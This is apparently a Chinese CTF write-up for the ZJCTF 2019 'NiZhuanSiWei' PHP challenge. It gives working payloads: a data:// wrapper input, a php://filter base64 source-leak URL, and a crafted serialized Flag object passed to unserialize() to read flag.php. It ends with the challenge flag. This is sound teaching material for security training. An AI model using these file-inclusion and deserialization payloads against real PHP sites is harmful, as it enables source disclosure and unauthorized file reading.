[ZJCTF 2019]NiZhuanSiWei
启动靶机,出现一段代码
这段代码介绍了,使用get方法传递三个参数text、file、password。并且使用了file_get_content()函数把文件读入一个字符串中,如果这个字符串与“ welcome to the zjctf ”相等,就行进行字符串输出。(注意所以在传参时不能直接写 text=welcome to the zjctf )
可以使用 data://text/plain,"字符串"
并且如果我们传递 file 参数中含有 /flag/ 的路径 ,就会输出“ not now ”,反之就会在页面中引入我们传参页面文件的代码。
可以使用
file=php://filter/read=convert.base64-encode/resource=文件名.php
而我们传递的password 的值会进行反序列化操作。
PHP: 支持的协议和封装协议 - Manual https://www.php.net/manual/zh/wrappers.php
/?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
base64解码
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");} }
}
?>
这个代码说明了如何可以取到flag,这里也定义了一个file属性,当它的值不为空时,就会读取file所指文件中的内容并输出。结合前面的unserialize()和这里的_tostring()
这里我们需要构造反序列化数据传递给 password ,来实现读取flag
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}介绍:
o:4:"Flag"
-->
一个object对象Flag,它的长度是4
:1: --> 表示该对象有一个属性(成员变量)这个属性部分就是后面花括号所包裹的
s:4:"file";
--> 属性名为file,是一个长度为4的string字符串
s:8:"flag.php";
--> 属性值为flag.php,是一个长度为8的string字符串
/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
F12查看代码获得flag{d471c18a-b9d1-46ca-9c3e-a8b025b18dec}